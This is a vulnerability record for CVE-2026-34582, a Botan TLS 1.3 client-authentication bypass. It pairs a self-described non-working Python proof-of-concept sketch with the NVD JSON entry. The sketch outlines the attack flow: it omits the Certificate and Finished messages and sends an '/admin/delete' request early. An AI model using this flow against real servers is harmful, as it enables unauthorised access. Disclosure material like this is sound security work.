CVE-2026-34582

# This is a conceptual Proof of Concept (PoC) to demonstrate the vulnerability logic. # It requires a vulnerable version of Botan library ( < 3.11.1). # Since this is a library flaw, actual exploitation involves modifying the TLS handshake flow. import socket import ssl # Conceptual PoC: Attacker attempts to send Application Data before Finished # Note: Standard Python ssl library enforces RFC compliance, so this PoC # illustrates the *intent* of the exploit flow rather than a working script. def exploit_vulnerable_tls(target_host, target_port): print(f"[+] Connecting to {target_host}:{target_port}...") # In a real exploit using the vulnerable Botan library: # 1. Establish TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # 2. Send ClientHello # send_client_hello(sock) # 3. Receive ServerHello, CertificateRequest, etc. # server_msgs = receive_server_messages(sock) # 4. VULNERABILITY TRIGGER: # Instead of sending Certificate, CertificateVerify, and Finished, # the client sends Application Data immediately. print("[!] Skipping Certificate and Finished messages...") print("[!] Sending Application Data prematurely...") # malicious_payload = create_http_request("/admin/delete") # send_record(sock, CONTENT_APPLICATION_DATA, malicious_payload) # If vulnerable, the server processes the request without authenticating the client. print("[+] Exploit logic executed. Check server response.") sock.close() if __name__ == "__main__": # This is a placeholder for demonstration # exploit_vulnerable_tls("127.0.0.1", 443) pass

{"cve": {"id": "CVE-2026-34582", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:22.810", "lastModified": "2026-04-17T20:31:27.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Botan is a C++ cryptography library. Prior to version 3.11.1, the TLS 1.3 implementation allowed ApplicationData records to be processed prior to the Finished message being received. A server which is attempting to enforce client authentication via certificates can by bypassed by a client which entirely omits Certificate, CertificateVerify, and the Finished message and instead sends application data records. This vulnerability is fixed in 3.11.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-841"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:botan_project:botan:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndIncluding": "3.11.0", "matchCriteriaId": "25A3A356-B073-49F5-BC6C-959E42E1D4F7"}]}]}], "references": [{"url": "https://github.com/randombit/botan/security/advisories/GHSA-pxcj-9ppx-g86g", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}